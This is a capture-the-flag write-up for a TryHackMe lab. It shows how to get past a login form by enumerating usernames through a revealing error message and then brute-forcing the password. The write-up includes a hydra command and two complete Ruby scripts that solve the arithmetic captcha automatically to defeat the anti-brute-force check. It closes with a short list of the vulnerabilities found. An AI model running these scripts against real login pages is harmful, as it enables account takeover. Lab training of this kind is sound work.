Information
Room#
- Name: Capture!
- Profile: tryhackme.com
- Difficulty: Easy
- Description: Can you bypass the login form?

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S rubyBrute-force attack#
While trying some dummy credentials, we get the following error:
Error: The user 'admin' does not exist
So we can uncorrelate the identification of the username and the password. To lower the attack complexity we can launch the attack in two steps, one to identify valid usernames thanks to the non-generic error message, and another two try passwords on valid accounts.
However, after too many failed attempts (error Too many bad login attempts!) a captcha is required. Hopefully, the captcha is textual and made of simple calculations, so its solution can be automated easily.
Calculation#
The username file contains 878 entries and the password one 1567 entries.
➜ wc *.txt
1566 1568 13803 passwords.txt
877 878 6870 usernames.txt
2443 2446 20673 totalThat would make 1 059 346 attempts in total via correlated brute force with a generic error message. At 55 requests per second, this would take more than 5 hours.
But, for example, if only one user is valid, at maximum we'll have made 878 requests to identify the user, and then will do at max 1567 request to guess the password. Which makes 2445 requests, so at the same rate it would take 44 seconds when being able to test user and password separately.
Identify valid usernames#
The command I would have used to identify valid usernames with hydra if there was no captcha would have been the following:
hydra -L usernames.txt -p 'password' -s 80 -m '/login:username=^USER^&password=^PASS^:F=Error' 10.128.135.145 http-post-formHere is my ruby script solution to do the same while handling captchas.
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
# Configuration
DEBUG = false
TARGET_HOST = '10.128.135.145'
TARGET_PORT = 80
LOGIN_PATH = '/login'
PASSWORD = 'password'
USERNAMES_FILE = 'usernames.txt'
ERROR_MESSAGES = {
INVALID_USER: /The user '[a-z]+' does not exist/,
CAPTCHA_ENABLED: /Captcha enabled/,
INVALID_CAPTCHA: /Invalid captcha/
}
uri = URI("http://#{TARGET_HOST}:#{TARGET_PORT}#{LOGIN_PATH}")
usernames = File.readlines(USERNAMES_FILE).map(&:chomp)
puts "[*] Start user identification"
puts "[*] Target: #{TARGET_HOST}:#{TARGET_PORT}"
puts "[*] Number of user candidates: #{usernames.count}"
puts
def test_credentials(uri, username, password, captcha_mode, previous_res)
http = Net::HTTP.new(uri.host, uri.port)
http.read_timeout = 3
params = {
username: username,
password: password
}
if captcha_mode == true
captcha_value = solve_captcha(previous_res)
params['captcha'] = captcha_value
end
request = Net::HTTP::Post.new(uri.path)
request.set_form_data(params)
begin
response = http.request(request)
if response.body.match?(ERROR_MESSAGES[:INVALID_USER])
return response.body
elsif captcha_mode == false && response.body.match?(ERROR_MESSAGES[:CAPTCHA_ENABLED])
puts '[+] Captcha detected' if DEBUG
return :captcha
elsif captcha_mode == true && response.body.match?(ERROR_MESSAGES[:INVALID_CAPTCHA])
return response.body
else
return true
end
rescue => e
puts "[!] Error: #{e.message}" if DEBUG
return response.body
end
end
def solve_captcha(response_body)
# Extract math challenge (eg: "634 + 61 = ?")
if response_body.match?(/\d+\s*[+\-*\/]\s*\d+\s*=\s*\?/)
match = response_body.match(/(\d+)\s*([+\-*\/])\s*(\d+)\s*=\s*\?/)
num1 = match[1].to_i
operator = match[2]
num2 = match[3].to_i
# Resolve calc
result = case operator
when '+' then num1 + num2
when '-' then num1 - num2
when '*' then num1 * num2
when '/' then num1 / num2
end
puts "[+] Solved captcha: #{num1} #{operator} #{num2} = #{result}" if DEBUG
return result.to_s
else
puts "[!] Impossible to extract captcha" if DEBUG
#puts response_body if DEBUG
return nil
end
end
captcha_mode = false
previous_res = ''
usernames.each do |username|
res = test_credentials(uri, username, PASSWORD, captcha_mode, previous_res)
#puts previous_res if DEBUG
if res == true
puts "[+] Success! User found: #{username}"
elsif res == :captcha
puts '[+] Captcha mode enabled' if DEBUG
captcha_mode = true
else
previous_res = res
end
endLaunching it, I identified only one valid user.
➜ ruby find_user.rb
[*] Start user identification
[*] Target: 10.128.135.145:80
[*] Number of user candidates: 878
[+] Success! User found: editedPassword identification#
Then I just had to adjust the script a little to do the same for passwords:
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
# Configuration
DEBUG = false
TARGET_HOST = '10.128.135.145'
TARGET_PORT = 80
LOGIN_PATH = '/login'
PASSWORDS_FILE = 'passwords.txt'
USERNAME = 'edited'
ERROR_MESSAGES = {
INVALID_USER: /The user '[a-z]+' does not exist/,
CAPTCHA_ENABLED: /Captcha enabled/,
INVALID_CAPTCHA: /Invalid captcha/,
INVALID_PASS: /Invalid password for user '[a-z]+'/
}
uri = URI("http://#{TARGET_HOST}:#{TARGET_PORT}#{LOGIN_PATH}")
passwords = File.readlines(PASSWORDS_FILE).map(&:chomp)
puts "[*] Start user identification"
puts "[*] Target: #{TARGET_HOST}:#{TARGET_PORT}"
puts "[*] Number of password candidates: #{passwords.count}"
puts
def test_credentials(uri, username, password, captcha_mode, previous_res)
http = Net::HTTP.new(uri.host, uri.port)
http.read_timeout = 3
params = {
username: username,
password: password
}
if captcha_mode == true
captcha_value = solve_captcha(previous_res)
params['captcha'] = captcha_value
end
request = Net::HTTP::Post.new(uri.path)
request.set_form_data(params)
begin
response = http.request(request)
if response.body.match?(ERROR_MESSAGES[:INVALID_PASS])
return response.body
elsif captcha_mode == false && response.body.match?(ERROR_MESSAGES[:CAPTCHA_ENABLED])
puts '[+] Captcha detected' if DEBUG
return :captcha
elsif captcha_mode == true && response.body.match?(ERROR_MESSAGES[:INVALID_CAPTCHA])
return response.body
else
return true
end
rescue => e
puts "[!] Error: #{e.message}" if DEBUG
return response.body
end
end
def solve_captcha(response_body)
# Extract math challenge (eg: "634 + 61 = ?")
if response_body.match?(/\d+\s*[+\-*\/]\s*\d+\s*=\s*\?/)
match = response_body.match(/(\d+)\s*([+\-*\/])\s*(\d+)\s*=\s*\?/)
num1 = match[1].to_i
operator = match[2]
num2 = match[3].to_i
# Resolve calc
result = case operator
when '+' then num1 + num2
when '-' then num1 - num2
when '*' then num1 * num2
when '/' then num1 / num2
end
puts "[+] Solved captcha: #{num1} #{operator} #{num2} = #{result}" if DEBUG
return result.to_s
else
puts "[!] Impossible to extract captcha" if DEBUG
#puts response_body if DEBUG
return nil
end
end
captcha_mode = false
previous_res = ''
passwords.each do |password|
res = test_credentials(uri, USERNAME, password, captcha_mode, previous_res)
#puts previous_res if DEBUG
if res == true
puts "[+] Success! Password found: #{password}"
elsif res == :captcha
puts '[+] Captcha mode enabled' if DEBUG
captcha_mode = true
else
previous_res = res
end
endThen I just found the password for that user.
➜ ruby find_password.rb
[*] Start user identification
[*] Target: 10.128.135.145:80
[*] Number of password candidates: 1567
[+] Success! Password found: editedFlag#
Then just login with the retrieved credentials to see the flag on the dashboard:
Flag.txt:
7<edited>6Vulnerabilities#
- Non-generic error message on authentication features leading to user oracle
- Weak captcha / anti-brute force attacks mechanism